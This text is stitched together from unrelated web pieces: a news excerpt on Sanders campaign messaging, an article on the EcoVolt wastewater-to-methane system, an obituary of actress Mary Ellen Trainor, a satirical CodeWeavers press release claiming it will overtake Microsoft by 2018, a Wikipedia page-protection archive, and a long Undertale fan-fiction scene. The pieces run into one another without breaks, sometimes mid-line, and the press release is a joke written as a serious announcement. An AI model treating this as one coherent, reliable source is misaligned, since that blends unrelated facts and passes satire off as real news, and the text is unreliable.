“There’s a lot of rich biography,” he said. “When Bernie went to visit his ancestral home in Poland years ago, it turned out a lot of his relatives were victims of the Holocaust. One of the reasons his father left Poland was the threat of dire economic circumstances.”
“A guy like me who makes TV ads, those are powerful stories,” he added. “But it’s not going to be as relevant for what we’re trying to do.”
The Sanders camp simply feels the ideas of a 73-year-old democratic socialist are more compelling than the socialist himself. Some observers think Mr. Sanders will end up getting more personal, anyway.
“With regards to socialist candidates, their leftist politics seems to overshadow that they are ordinary people with families,” said Robert Shapiro, a political science professor at Columbia University. “One could argue Sanders may have a bigger incentive to offset that image of classic lefitism.”EcoVolt generates energy from wastewater
(Nanowerk News) Spun out of the Massachusetts Institute of Technology (MIT) in 2006, Cambrian Innovation is commercializing a portfolio of environmental solutions based on newly discovered electrically active microbes. By harnessing the power of bio-electricity and advances in electrochemistry, Cambrian Innovation's products help industrial, agricultural and government customers save money while recovering clean water and clean energy from wastewater streams.
With support from the National Science Foundation (NSF), engineers and co-founders Matt Silver and Justin Buck are bringing their research from the lab to the market. One system, called EcoVolt, generates methane gas from the wastewater by leveraging what is called "electromethanogenesis." It's a newly discovered process for producing methane.
"NSF funding of Cambrian Innovation's research demonstrates our strong interest in supporting small business innovation that leads to novel and greener technological solutions to societal challenges," says NSF program director Prakash Balan.
The EcoVolt system sends wastewater through a bio-electrochemical reactor. As water filters through it, special bacteria in the reactor eat the organic waste in the water and release electrons as a byproduct. Those electrons travel through a circuit to generate methane, or CH 4.
A wireless signal allows the process to be monitored remotely. This very high quality methane is then piped out to an engine, where it's burned with a small amount of natural gas. It then generates heat and energy. In addition, sensor systems built by Cambrian Innovation can also monitor pollutants, such as fertilizer run-off.Character actress and philanthropist Mary Ellen Trainor, who appeared in "The Goonies" and "Lethal Weapon" films, has died.
Lucasfilm President Kathleen Kennedy confirmed on Monday that Trainor, a longtime friend, passed away at home in Montecito, California, on May 20. She was 62.
Trainor got her start in the film business as a producer's assistant on a number of movies including the 1979 Steven Spielberg film "1941," which her eventual husband, director Robert Zemeckis, wrote. After the couple married in 1980, Zemeckis cast Trainor in her first film, "Romancing the Stone," as the kidnapped sister of Kathleen Turner's character.
THIS IS TERRIBLY SAD NEWS! MY HEART AND PRAYERS R WITH MARYS FAMILY, OUR CAST N CREW, AND THE SADNESS OF THIS LOSS! RIP: MARY ELLEN TRAINER — Corey Feldman (@Corey_Feldman) June 8, 2015
In addition to a number of cameos in Zemeckis' films, including "Forrest Gump" and "Back to the Future," Trainor became a regular fixture in some of the biggest films of the 1980s. She played a police psychiatrist in "Lethal Weapon" and its sequels, a television reporter in "Die Hard" and the mother of two main characters in "The Goonies." She also had a part in "Ghostbusters II."
R.I.P. Mary Ellen Trainor. She acted in all the LETHAL WEAPONS, SCROOGED, DIE HARD and played the Mom in THE GOONIES. http://t.co/AORIhY7LiV — KevinSmith (@ThatKevinSmith) June 9, 2015
On the small screen, Trainor was a cast member on the short-lived series "Relativity" and had a recurring role on "Roswell."
"Mare and I have been close since our days together as college roommates, and she even provided the introduction to Steven Spielberg that jumpstarted my career," Kennedy said in a statement. "She was a great actress, warm friend and generous spirit."
Zemeckis and Trainor, who divorced in 2000, had one child, Alex Zemeckis.Press Releases
CODEWEAVERS TO OVERTAKE MICROSOFT BY 2018
Current Sales Trend Indicates Gadfly Open Source Developers Will Be Nation's Largest Provider of Windows Technology; Microsoft Imperiled
CodeWeavers Offers to Buy Microsoft Campus "On Credit"
SAINT PAUL, Minn. (July 24, 2009) – CodeWeavers, Inc. today announced that recent sales trends position them to overtake Microsoft's operating revenue in 2018, based on Microsoft's fourth quarter report dated July 23, 2009 showing a 17 percent decrease in revenue quarter over quarter.
Yesterday while eating lunch at his desk, CodeWeavers President and CEO Jeremy White spied a story reporting that Microsoft's quarterly revenues had decreased 17 percent - leading to the first year-over-year decline in their 34-year history. "I nearly spit a mouthful of a Jimmy John's Turkey Tom sandwich onto my desk in excitement and awe," he said, "because our own revenues had grown by more than 20 percent during our fourth quarter."
Quickly firing up Microsoft Excel (which was incidentally running on Linux via CodeWeavers' revolutionary CrossOver product), White plotted out the point of intersection in which - current trends continuing - CodeWeavers would overtake Microsoft in sales.
The answer: third quarter, 2018.
"The writing's on the wall; a day of reckoning is coming," said White. "Clearly Microsoft is in a tailspin. And that's why we're advising Goldman Sachs and other tech investors that they need to pay more attention to open source products like CrossOver."
Microsoft - based in Redmond, Wash. - is currently the nation's largest software developer, employs 92,000, and has annual revenues of $60 billion. CodeWeavers and the open source Wine project provide the only alternate implementation of the Windows API. CodeWeavers provides software that lets Mac OS X and Linux users run Windows programs without having to pay for a Windows OS license. CodeWeavers currently employs about two dozen people worldwide and their revenues are in the lower seven-figure range.
This summer, Microsoft's pending launch of its Windows 7 operating system was arguably overshadowed by CodeWeavers' launch of version 8.0 of its celebrated CrossOver software, providing even greater functionality for Mac and Linux users to run Windows applications without buying a Windows operating system. White speculates that the success of CrossOver 8.0 will only accelerate CodeWeavers' global dominance.
"Using the same exacting analytical reasoning behind our chart, it is simple to conclude that we will soon become the primary provider of the Windows API. I look forward to shouldering that awesome burden, and determining which arbitrary new API all developers must follow," exclaimed White.
Smell of Victory Puts CodeWeavers CEO in Credit Buying Frenzy
White's forecast for sales increases has strategically altered his company's operational plans.
"I've thrown away the Folger's can in the break room we used to collect coffee donations," he said. "And I lifted the policy requiring employees to use the same coffee grounds for two days running. Morale and productivity have already skyrocketed. But I want more!"
At last report, White had skipped a quarterly staff meeting and was hurtling toward Seattle in his 1993 Subaru Impreza.
"Right now I'm heading to Microsoft's campus with a tape measure and a book of carpet swatches the size of my head. Finally: an office of my own!"
Barely audible over the whine of his powerful 1.5-liter engine, White concluded by saying, "You can never plan too far in advance. I hope Steve doesn't mind me just dropping in like this."
Documentary coverage of CodeWeavers momentous discovery.
About CodeWeavers
Founded in 1996 as a general software consultancy, CodeWeavers today focuses on the development of Wine, the core technology found in all of its CrossOver products. The company's goal is to bring expanded market opportunities for Windows software developers by making it easier, faster and more painless to port Windows software to Mac OS X and Linux. CodeWeavers is recognized as a leader in open-source Windows porting technology, and maintains development offices in Minnesota, the UK and elsewhere around the world. The company is privately held. For more information about CodeWeavers, log on to www.codeweavers.com.
# # #
Contact: Alex Seitz, Haberman & Associates, 612-372-6471, alex@modernstorytellers.com.
Eric Davis, Haberman & Associates, 612-372-6465,
eric@modernstorytellers.com.Requests for page protection/Rolling archive Shortcuts
This page contains a rolling archive of recent requests for page protection. This page is updated by a bot; please don't edit this page unless you are manually unarchiving a thread to continue a discussion. By default, any requests from the last 7 days can be viewed here, and older requests will be removed. Currently, no permanent archive of page protection requests is kept. To see older requests for page protection, you can search through the of Wikipedia:Requests for page protection.
27 February 2019
Temporary semi-protection: Persistent vandalism. LiberatorG (talk) 14:15, 26 February 2019 (UTC)
Semi-protection: Persistent vandalism. L ke (talk) 15:41, 26 February 2019 (UTC)
Semi-protected for a period of 3 months, after which the page will be automatically unprotected. Dloh Cier ekim (talk) 15:49, 26 February 2019 (UTC) Note: Vandalism resmed after 6 moth protection Dloh Cier ekim (talk) 15:49, 26 February 2019 (UTC) Requesting immediate archiving... Favonian (talk) 09:31, 27 February 2019 (UTC)
Temporary full protection: A user continues to make changes to her nationality label in the lead sentence, going against a consensus that was established. Fundude99talk to me 15:56, 26 February 2019 (UTC)
Temporary Semi-protection: Persistent IP vandalism. Octoberwoodland (talk) 01:34, 27 February 2019 (UTC)
Semi-protected for a period of 6 days, after which the page will be automatically unprotected. Samsara 06:05, 27 February 2019 (UTC)
Request extended confirmed access indefinitely. Long-term IP vandalism going back several years. QuackGuru (talk) 23:02, 26 February 2019 (UTC)
Declined – Not enough recent disruptive activity to justify protection. Extended confirmed is only to be used if semiprotection is insufficient as autoconfirmed accounts are causing disruption. That isn't the case, and there hasn't been a particularly troublesome history here. ~ Amory (u • t • c) 01:49, 27 February 2019 (UTC)
Permanent Semi-protection: Persistent IP vandalism. Jim7049 (talk) 02:23, 27 February 2019 (UTC)
Pending-changes protected indefinitely. Samsara 05:33, 27 February 2019 (UTC)
Temporary semi-protection: For the last two weeks, an unregistered editor has removed Michelle Obama as a notable alumna of this university. He or she does leave edit summaries, has not participated in the discussion opened in the article's Talk page, and has not responded to a message left on his or her User Talk page. He or she also changes to different IP addresses frequently (may just be the ISP and is not necessarily intentional). This behavior is now disruptive - it has occurred six times with no sign of stopping - and our only recourse appears to be semi-protecting the article. ElKevbo (talk) 02:52, 27 February 2019 (UTC)
Semi-protected for a period of 1 week, after which the page will be automatically unprotected. Samsara 05:28, 27 February 2019 (UTC) Pending-changes protected indefinitely. Samsara 05:28, 27 February 2019 (UTC)
Semi-protection: High level of IP vandalism mainly because it is today's featured atricle on the home page. Bowling is life (talk) 22:07, 26 February 2019 (UTC)
Semi-protected for a period of 1 day, after which the page will be automatically unprotected. MelanieN (talk) 02:43, 27 February 2019 (UTC)
Temporary semi-protection: Persistent addition of unsourced or poorly sourced content – Persistent addition of unsourced claims as an IP and now new account. - FlightTime Phone (open channel) 23:19, 26 February 2019 (UTC)
Semi-protected for a period of one month, after which the page will be automatically unprotected. MelanieN (talk) 02:46, 27 February 2019 (UTC)
Semi-protection: High level of IP vandalism from various unrelated IPs, each adding different false and/or non-natable information. CAMERAwMUSTACHE (talk) 01:37, 27 February 2019 (UTC)
Semi-protected for a period of 4 days, after which the page will be automatically unprotected. MusikAnimal talk
Semi-protection: Persistent vandalism. --Let There Be Sunshine 14:31, 26 February 2019 (UTC)
Vandalism is two days old. Watchlisted. Samsara 17:52, 26 February 2019 (UTC) Declined – Not enough recent disruptive activity to justify protection. Airplaneman ✈ 23:26, 26 February 2019 (UTC)
Semi-protection: High level of IP vandalism. (All edits this month have been IP vandalism, or reversion of IP vandalism.) Ross Finlayson (talk) 21:33, 26 February 2019 (UTC)
Temporary semi protection - Some editors try to disrupt the AfD process.--BabbaQ (talk) 23:08, 26 February 2019 (UTC)
Declined I see no pattern of disruption. This edit by MShabazz (talk · contribs) is as close to "disruption" that I can find, and I'd hesitate to call it that. In any case, semi-protection wouldn't stop that. Airplaneman ✈ 23:31, 26 February 2019 (UTC)
Indefinite semi-protection: Persistent disruptive editing – User: Kntx12, threatening me on my talk page with Wikipedia deletion etc. L1amw90 (talk) 16:55, 26 February 2019 (UTC)
Declined There is not much of this, and the other editor(s) are autoconfirmed, so semi-protection would not help. If you find someone's input to be unwelcome, you can always ask/tell them to stay off your talk page. While such requests are not enforceable, they are generally expected to be honored. MelanieN (talk) 20:19, 26 February 2019 (UTC)
Temporary semi-protection: Persistent vandalism. See also Wikipedia:Sockpuppet investigations/JamesKofi1959 (two users just blocked as socks as well). HickoryOughtShirt?4 (talk) 22:14, 26 February 2019 (UTC)
Already protected by administrator. Bishonen | talk 22:16, 26 February 2019 (UTC)
Extended confirmed: BLP policy violations – Lots of vandalism/BLP violations because of recent event. HickoryOughtShirt?4 (talk) 22:34, 26 February 2019 (UTC)
Already protected by administrator. Airplaneman ✈ 23:21, 26 February 2019 (UTC)
Semi-protection: Persistent vandalism – IP editors removing marriage from infobox and changing personal life section repeatedly without giving sources/references. I keep fixing it but they repeatedly do it again despite being told how things are supposed to be referenced/done on Wikipedia. There have now been multiple edits over the past couple days... they delete stuff from infobox too Miarren Emily (talk) (talk) 10:48, 22:43, 26 February 2019 (UTC)
Automated comment: A request for protection/unprotection for one or more pages in this request was recently made, and was denied at some point within the last 8 days.—cyberbot I Talk to my owner :Online 22:49, 26 February 2019 (UTC)
Semi-protected for a period of 1 week, after which the page will be automatically unprotected. Airplaneman ✈ 23:24, 26 February 2019 (UTC)
26 February 2019
Semi-protection: High level of vandalism today. Article subject is victim of harassment campaigns, so this happens often. Please protect for a longer period. Wickedterrier (talk) 18:10, 26 February 2019 (UTC)
Temporary semi-protection: Persistent vandalism. ubiquity (talk) 18:11, 26 February 2019 (UTC)
Temporary pending changes: Persistent vandalism. Mikemyers345 (talk) 21:14, 26 February 2019 (UTC)
Semi-protection: Disruptive edits and unsourced changes by IP and new editors. StaticVapor message me! 21:25, 26 February 2019 (UTC)
Semi-protection: Persistent addition of unsourced or poorly sourced content. SNUGGUMS (talk / edits) 20:39, 26 February 2019 (UTC)
Temporary semi-protection: Persistent vandalism. Jeb3 Talk at me here 21:00, 26 February 2019 (UTC)
The IP is blocked. No other disruption recently. A semi is not needed right at this moment. Marking as Done. --Titodutta (talk) 21:05, 26 February 2019 (UTC)
Temporary semi-protection: Persistent addition of unsourced or poorly sourced content – ongoing addition of unsourced material, such as release date. Joeyconnick (talk) 21:09, 26 February 2019 (UTC)
Pending changes: Persistent vandalism – Vandalism from a IP repeatedly. TheWinRatHere! 17:02, 26 February 2019 (UTC)
User(s) blocked. Favonian (talk) 17:16, 26 February 2019 (UTC)
Temporary semi-protection: BLP policy violations – repeated, ongoing addition of unsourced information in contravention to BLP. Joeyconnick (talk) 20:01, 26 February 2019 (UTC)
Semi-protected for a period of 2 months, after which the page will be automatically unprotected. MelanieN (talk) 20:23, 26 February 2019 (UTC)
Temporary semi-protection: Persistent disruptive editing – Pending isn't working, a short semi-protection would hopefully curb the disruptive editing for some time. Kingerikthesecond (talk) 20:05, 26 February 2019 (UTC)
Semi-protected for a period of 2 weeks, after which the page will be automatically unprotected. MelanieN (talk) 20:29, 26 February 2019 (UTC)
Full protection: Module config page, module, and template should have same protection level (Template was fully-protected by Xaosflux). {{3x|p}}ery (talk) 15:17, 24 February 2019 (UTC)
Well, we need to act on this. I am going to protect these modules today if no objections have been raised.--Ymblanter (talk) 08:17, 26 February 2019 (UTC) No objections I can think of. I merely left it open since Xaosflux was pinged. He seems to be active. Samsara 17:39, 26 February 2019 (UTC) I meant Xaosflux. Samsara 17:42, 26 February 2019 (UTC) Fully protected indefinitely. — xaosflux Talk 18:23, 26 February 2019 (UTC)
Full protection: Module and template should have same protection level, used in system messages. Pppery, the protection wizard 00:04, 26 February 2019 (UTC)
Fully protected indefinitely. — xaosflux Talk 18:28, 26 February 2019 (UTC)
Indefinite semi-protection: Persistent vandalism – IP vandalism, long protection log. Kingerikthesecond (talk) 18:10, 26 February 2019 (UTC)
Pending-changes protected for a period of 3 months, after which the page will be automatically unprotected. Dloh Cier ekim (talk) 18:31, 26 February 2019 (UTC)
Reduce to template protection: CSS page and template should have the same protection level. {{3x|p}}ery (talk) 00:50, 25 February 2019 (UTC)
Pinging protecting admin Mifter: ~Swarm~ {talk} 00:53, 25 February 2019 (UTC)
Template protected indefinitely. — xaosflux Talk 18:26, 26 February 2019 (UTC)
Wikipedia:Today's featured articles
Remove protection: Protection was placed on both pages in 2005 and 2006 respectively. Other comparable pages are unprotected. It's not clear to me why these pages are different. I notified protecting admin Raul654 on his talk page in section "Request to unprotect pages". However, the admin hasn't made an edit since 12:44, 8 February 2019 Mitchumch (talk) 08:55, 26 February 2019 (UTC)
Automated comment: One or more pages in this request appear to already be protected. Please confirm.—cyberbot I Talk to my owner :Online 09:00, 26 February 2019 (UTC)
That's affirmative, bot. Mitchumch (talk) 09:10, 26 February 2019 (UTC) Unprotected — xaosflux Talk 18:25, 26 February 2019 (UTC)
Temporary semi-protection: Persistent vandalism – This page has been repeatedly vandalised with pro-India and anti-Pakistan sentiment over the last day or two. It is my personal belief that the recent tensions between the two countries over a border region has sparked this vandalism but please protect as necessary. Thetinggoskrrra (talk) 11:09 |
confidence.
“Most of you don’t know me. But I’ve caused you all a lot of trouble. And my friends caused even more trouble, on my behalf. Please don’t be mad at them. I know they were trying their best. And it’s because of them that I’m here right now, able to do this for all of you.
“I’ve made a lot of mistakes. And I have a lot to apologize for. So, I hope this will help me start to make amends. And when I apologize...I’ll be able to do it in person.
“It’s time for all of us to go free.”
Asriel placed his palms against his chest. Burning light poured through his fingers. The cave filled with a single, sweet note like a tensed violin string. And then he flung his arms out, and the torrent of souls burst forth, pearly chips of radiance that cut apart the dark wherever they flew, shining brighter than even the barrier’s subdued stars, and through that storm of light could be seen the colored tails of the human souls playfully streaking this way and that, glad to be free of their captivity. Souls produced no wind, but Frisk’s hair and clothes blew about him as if in a great gale and all the tree branches shivered and danced; souls made no sound, but the underground was filled with a chiming melody that seemed somehow familiar, all those lights singing to each other, amplifying one another’s voices, until even the barrier shrank back and quavered from their chorus.
Frisk felt warmth pulsating deep within his breastbone and looked down to see more light pouring from his heart. He held out his hands and Asriel’s soul emerged; it remained obediently between his palms, but shook like an iron filing near a lodestone, and as the song played, its eagerness became more and more intense. The howling wind and shivering branches added instrumentation. Frisk had to fight to keep Asriel’s unleashed power from blowing him away.
Asriel’s locket emerged from his shirt collar and floated in front of his face, the pendant straining against his neck. He held out one hand that flamed with color. He allowed himself a brief, cocky grin as the souls ceased their commotion and stayed in place, making it seem as though the air was filled with diamond dust.
He snapped his fingers.
The sound cut apart the song. It cut loose the souls. And as they all burst apart and returned to where they had come, and the human souls flew out and away like comets, and Asriel’s own soul finally wriggled free of Frisk’s grip and lanced into his back, that sound cracked the barrier like windowglass, and the opaque wall shattered with enough force to send both Frisk and Asriel flying. Every branch blew back, Frisk tripped over the tree roots, Asriel fell earthward and slammed into Frisk’s outstretched arms, and the murky light of the barrier collapsed in prisms, falling down, fading out, already gone.
The silence that followed was very loud. The starlight, very bright. And the air from the surface already made the cavern smell sweeter.
Asriel rolled off Frisk. He’d been flattened against the root bed.
“Sorry! Sorry, that last part was an accident! Here, let me just...” He tried to pull Frisk up, then let go. “No. No, that’s not happening.” He caught his breath, then asked, “Are you okay?”
Frisk lay in the root bed, hair over his eyes. His breathing was shallow and slow.
“That was amazing, Asriel.”
Asriel blushed. “Uh. Thanks.” He glanced over his shoulder, where several more silhouettes could be seem against the underground’s entrance. “I wonder if they’ll remember any of it?”
“Your soul. I saw it fly into you. How do you feel?” He had to fight to say every word.
“I’m. Um.” He experimentally ran his hands over his body. “I feel like...I’m still here.” He grinned wide; his fangs shone. “Frisk, I think I’m actually back.”
“That’s good.” Frisk’s voice had become very faint. His head lowered until his chin touched his chest. “Then I’m done.”
Asriel saw the locket resting against his shirt and tucked it back in; he paused to draw out the light of his soul, and smiled even wider at that pale glow. Behind him, other voices could be heard.
“Oh, my goodness. It appears we missed quite a bit. Does anyone remember what happened?”
“I’m not sure! I think I was cheering someone on! But that really doesn’t narrow it down! Hey, Sans, do you have any idea?”
“I have lots of ideas.”
“Wow! That was cryptic and unhelpful!”
“Doin’ my best, bro.”
“Tori, dear?”
“I told you not to call me that, Asgore.”
“Toriel, dear?”
“Yes, Asgore?”
“The barrier is broken.”
“Yes, Asgore.”
“And there is a rather large tree in this cave.”
“Yes, Asgore.”
“Er, Your Majesty, are you okay? You’re don’t seem to be...I mean, you’re not. Um. B-blinking.”
“Don’t worry, Alphys, he gets like this sometimes. Once he broke his favorite watering can and just sat there with that goofy expression for, like, two hours. I had to noogie him out of it. Did you know there’s no laws against giving noogies to royalty? I checked!”
Asriel took Frisk’s hand. “They sure make a lot of noise, huh?”
Frisk didn’t respond.
“I guess we’ve got a lot of explaining to do.” He stood up. “Let’s go.”
Frisk didn’t move.
Asriel looked back, his smile gone. “...Frisk?”
He remained where he was, amidst the tangled roots. The breeze shifted the locks of his unkempt hair to and fro. Besides that, he lay very still. Asriel let go of his hand. It fell limp at his side.
“Frisk, this isn’t funny.” He looked over his shoulder. “They’re gonna be here any second.”
The only answer came from the rustling leaves high overhead. Asriel’s breath started to seize and spasm. He knelt besides Frisk, shook him gently by the shoulder.
“You’ve got a really sick sense of humor, you know that?” He tried to smile again as his eyes began to sting. “You said we’d do this together. You promised. You wouldn’t break a promise, right?” He shook harder. “Wake up!”
Frisk’s head lolled to the side. And now the sobs started again, huge gulps of air that shook Asriel’s small body down to the bone. He hammered Frisk on the chest with everything he had. Frisk didn’t react. Teardrops spotted the dirty cloth of his shirt.
“No, no, not like this. Frisk, I’m not worth this. I didn’t want anyone else to get hurt because of me. Don’t leave me alone again!” He clutched Frisk’s shirt and bent, weeping, against his thin chest. Footsteps drew closer to the tree, and then stopped. He didn’t pay them any mind.
“Please don’t leave,” he sobbed. “I can’t do this by myself.”
Then, when he stopped talking, and laid his head against Frisk’s heart, he heard the sound.
Frisk’s heartbeat, steady and low.
And then, a moment later, the gentle rasp of Frisk’s snoring.
Asriel sat bolt upright, tears still running down his face. His expression was impossible to describe. His face was host to several complicated emotions at once, and none of them were pleased to see each other. Then he looked around, and saw six pairs of eyes. Technically, three and a half pairs of eyes, and two pairs of eyesockets. All less than a dozen paces away. All staring directly at him.
Asriel giggled weakly, and then fainted.
The six assembled monsters took in this sight for some time – Frisk and Asriel sprawled atop each other, curled up in the root bed, Asriel’s breath already deepening as he passed into real sleep. Toriel’s own breath quickened, little by little. Her eyes filmed over with moisture.
“Asriel.” Her voice was a thin creak. Then she rushed forward. “Asriel!”
She picked him up and held him close; she handled him like he was made of glass. Her tears flowed and dripped down onto his face, making his muzzle wrinkle in irritation. She hastily wiped her eyes dry with her sleeve, scooped up Frisk, and held them both to her chest, all the while emitting a steady stream of semi-hysterical fretting that seemed to make even the tree nervously shrink away.
“Asriel. Frisk! My children, are you hurt? Are you ill? Do you have a temperature? No, you feel fine. But you cannot feel fine. You were...you were...” She shook her head. “The barrier broken, and you here with me...this is not real. It is a dream. You are going to leave again. Please do not leave.” She held them tighter, rested her head against their own. “Please stay!”
Sans cleared his throat.
“Uh, Toriel, right? I know it ain’t my place to say, but if you hug those kids any tighter I think you’re gonna break ‘em.”
Toriel turned around, that copper-colored eye made redder from her tears. Then, gradually she relaxed.
“Yes. Yes, of course. It is important to remain calm. Dream or not.” She still didn’t let go.
Papyrus bent over next to Sans and whispered in a voice that absolutely everyone could hear. “Sans. I have so many questions.”
“That’s the King and Queen’s son, he and Frisk probably helped break the barrier, I have no idea where the tree’s from, and as for what they’re doing, it looks like they’re avoiding a real awkward conversation for a little while.”
“Most of those answers weren’t cryptic at all! See, Sans? You’ve already improved so much!”
“Heh heh, thanks.” Sans glanced over at Alphys, whose eyes had gone so wide that her glasses were now lost in a sea of cornea. Her jaw hung slightly open. With difficulty, she swiveled her gaze over to Sans. Sans winked and tapped where the side of his nose would have been.
Undyne glared up at the tree like it had just insulted her cooking.
“Little kids, crying moms, and gardening. I couldn’t be more out of my element here if I tried. Uh, no offense, Your Majesty. Your kid looks pretty cute.” She looked over. “King Asgore? Are you still doing that thing? You want I should noogie you again?”
“Asgore, for heaven’s sake!” Toriel looked up at him with fire in her eye. “Do you intend to stand there all night?”
Asgore blinked for the first time in ninety seconds. The tendons in his thick neck audibly creaked as he turned to Toriel. His smile was wide and glassy.
“Oh, howdy, Toriel,” he said vaguely. “What can I do for you on this lovely evening?”
Toriel’s expression softened.
“Asgore, why don’t you go back to the house, and...I don’t know, make the children’s beds. I doubt that they have been aired out in years, and Frisk and Asriel clearly need some proper sleep. Do something useful, won’t you?”
“Ah, yes. What a fine idea. I will go and. Make the bed. For my son. Who is here. Alongside the child I had just tried to kill.” He remained where he was. “I will just. Step around this rather large tree. That appeared behind my throne room. And get right on that.” He still didn’t move.
Toriel sighed. She gently laid Frisk and Asriel back out on the roots and turned, kneeling before the group. “The King has suffered a small shock. Could someone please-”
“Yeah, yeah, say no more, I got it.” Undyne slung a companionable arm around Asgore’s shoulder – she almost had to stand on tiptoe to manage it, but she made the effort. “C’mon, your Majesty, off we go. One step at a time.” Asgore started to walk. “Yeah, that’s perfect, move those stubby little legs, one-two, one-two. Don’t make me carry you, that’ll just be embarrassing for everybody.”
“Undyne, please humor an old man,” Asgore muttered. “Tell me: is any of this really happening?”
“Speaking candidly, Your Majesty, I still don’t know what the hell’s going on. But I know I’m not dreaming, at least.”
“How can you be certain?”
“Mostly ‘cause I’m not smooching Alphys in front of a volcano.” Behind her, Alphys made a noise like a mouse being stepped on.
“I see,” he said philosophically. “Excuse me a moment.”
Asgore shrugged off Undyne’s arm and walked over to Toriel. His armor clanked and rattled. His hulking shadow fell over her and the two children. He knelt down, his mantle puddled around his feet. He held out his hands.
“May I?”
Toriel didn’t hesitate. She picked up Asriel’s sleeping body and offered it to Asgore. “Of course.”
With infinite gentleness, Asgore took him from Toriel’s hands. His palms alone nearly enfolded Asriel’s entire body; he cradled him in those massive arms. He stared down at him for a long time, watching his chest rise and fall in the depths of sleep. Then he pressed him against his breastplate, careful not to nick him on the metal. The cave went very quiet. Everyone heard the way his breath shuddered as he held his son close. Papyrus’ eyesockets streamed with tears; Sans produced a hanky from his hoodie, handed it up, let Papyrus dry off his skull, took it back, wrung it out, and replaced it.
After several minutes, Asgore softly kissed Asriel on the forehead and set him back down. Then he stood, eyes wet, voice brisk.
“Right, then. Work to be done. Undyne, lead the way. And then I would quite grateful if you could survey the underground and see if this magnificent specimen did any damage.” He patted the tree’s trunk. “Its roots must spread through half the city by now.”
Undyne nodded solemnly. “Yes, Your Majesty. This way, please.”
Asgore clanked off. Alphys watched them go. Her scales had turned beet red.
“A volcano,” she said. “Well. That’s nice. At least I know where to take her after we leave. Silver linings. Eh heh heh.” She shook her head, smacked the sides of her snout. “Um, Y-your Majesty, I mean, Your Grace, I, uh-”
“Just Toriel, dear. You are Alphys, the Royal Scientist, correct?”
“Right. Yes. That’s the job I do, all right! Ha ha!” Her glasses had steamed over; her mouth was locked in a helpless grin. “I think I should, um, get back to the lab and get online. To spread the word, I mean. About the barrier breaking. That seems like a good thing to do right now.” She glanced at Sans again. “And, um, if you need to give your son a check-up or something later, I can help with that too. Resurrection really takes it out of you! Ha ha ha! That was a joke! But it really happened! So I don’t know if it’s still funny!” She took a very deep breath, and said, “I should go.”
She shuffled off, looking as though she’d fall over with every step.
Sans said, “I’ll give you a call later, Alphys. We’ll catch up a little.”
“Thanks, Sans,” she said, without turning around. “Off I go. To do my job. And then I should lie down for a little while...”
Papyrus raised an arm. “What about me? I’m always brimming with helpfulness!”
“Yeah, Pap, I’ve actually got an idea.” Sans looked up at him. “How’s about you give Alphys a hand? Help her get the news out. Go around and let everyone know that the barrier’s busted, but Asgore would really appreciate it if they could wait ‘til he said it was safe to go. I think the King and Queen would prefer that these kids got some time to rest. Even better if you pulled it off before any crazy rumors started goin’ up online.”
“You mean I get to help the King, Frisk, and you at the same time? Say no more!” He saluted hard enough for his popping elbow joint to echo. “I, the great Papyrus, shall be the first monster in history to outrun the Internet!”
“You’re the best, bro.”
“Don’t worry, Sans! You’re a close second place! Nyeh heh heh!”
Papyrus took off fast enough to create a small sonic boom; he cleared the entire root bed in a single leap as he sped out of the cavern. When his footsteps and laugh had finally faded away, it was just Sans, Toriel, and the children, standing alone in the starlight.
“That should buy us all the time we need,” Sans said. “We all might’ve been waitin’ for generations to leave the underground, but no one wants to disappoint Papyrus.” He sauntered up to Toriel and looked down at the sleeping Frisk. “You want some help carrying these two home? They’re sort of a handful for just one person.”
“Yes, Sans. I would like that.” Toriel took Sans by the hand; his pupils briefly flared up. “Be honest with me. Are you responsible for this?”
He coughed nervously. “Me? Nah. It was all Frisk. I just tagged along for a little bit.”
“Is that so.” She still wouldn’t let him go. “This is a miracle.”
“You could call it that, sure. But I know for a fact it took a lot of hard work. ‘s probably why they’re so tuckered out right now.” He prodded Frisk with the toe of his slipper. “Especially this little guy. Poor kid’s allergic to a decent night’s rest.”
Without another word, Toriel released his hand and picked up Asriel. Sans swiped the perspiration off his skull and did the same for Frisk.
“Man, he hardly weighs anything.” He rested Frisk against his shoulder; Frisk nuzzled his cheek deeper into Sans’ hoodie. “Hey, Tori? Toriel, I mean.”
“Yes, Sans?”
“I was just thinking, since we’re kinda spinning our wheels ‘til these two wake up and Papyrus is busy and all...if you maybe want to, I dunno, kill some time over coffee or something. ”
“I would.” She smiled. “Thank you.”
“Heh heh. Cool.”
“And Sans?”
“Yeah?”
“You were not being honest.”
Toriel was still smiling, but that warm red glare augered through him. Sans didn’t stand a chance; she could wield matronly disapproval like a scalpel.
“I have not forgotten the promise you made through that door. And I know full well that neither of these children would be here, if not for you.” She cradled Asriel’s head in her palm. “Perhaps it is not my place to say. But I think you should take some responsibility for the things you have done.”
She set off for the exit, leaving the catatonic Sans behind.
“In any case,” she added, “you deserve pie.”
“Uh. Yeah. Pie sounds good.” He hiked up Frisk a little higher on his shoulder and followed after her. “But let’s put these kids to bed first.”
His voice filtered down into Frisk’s dreamless sleep.
“They’ve had a bad time.”
* * *
Frisk opened his eyes. This caused no discernible change in his expression.
He had a vague impression of cool sheets and clean linen before realizing he was in a proper bed; it had been a while since he’d slept in one of those. His limbs still felt heavy. He settled for turning his head instead, and taking in the room – that soft gold glow, the dresser against the wall, the framed crayon sketch of a yellow flower, the stuffed toys in the far corner with their blank button eyes and their felted fur now clean of dust. Asriel’s bedroom. He was in Chara’s old bed; the air around it was no longer oddly cold. Asriel himself was curled up in the other bed, facing the wall.
Frisk tried to sit up, and managed it on the third attempt. When the sheets slid off him, he found that he was wearing blue and purple striped pajamas. He held up one hand and flexed his fingers; his movements were still sludgy with exhaustion, but that leaden feeling in his bones had gone. He stretched and yawned. He remembered how good that felt.
“Oh, you’re finally up.”
Frisk gagged in mid-yawn. Asriel sat up, those round eyes full of worry.
“Oh no, did I startle you? Sorry, I, uh, wasn’t actually asleep. Just needed some privacy.” He nervously tugged one of those floppy ears. “It’s been kind of crazy around here lately. Haha.”
“It’s okay. Good morning.” He lowered his arms, thought for a moment, and added, “Is it morning?”
“Uh, dinner time, actually. Two days later.” Frisk’s eyebrows went up. “Yeah, you were really out of it. The pajamas were Mom’s idea, we got them from the capital. We had some of Chara’s old ones that would’ve fit you, but I thought that’d be. You know. Weird.” He gazed at the door. “She’s cooking now, I think. Asked her to lay off the snails for your sake. Dad’s been spending all his time in the garden. I mean. Literally all his time. I’m pretty sure he’s been sleeping out there. It’s still...kind of awkward between them.” He hunched over, crossed his ankles. “Guess you can’t fix everything, huh?”
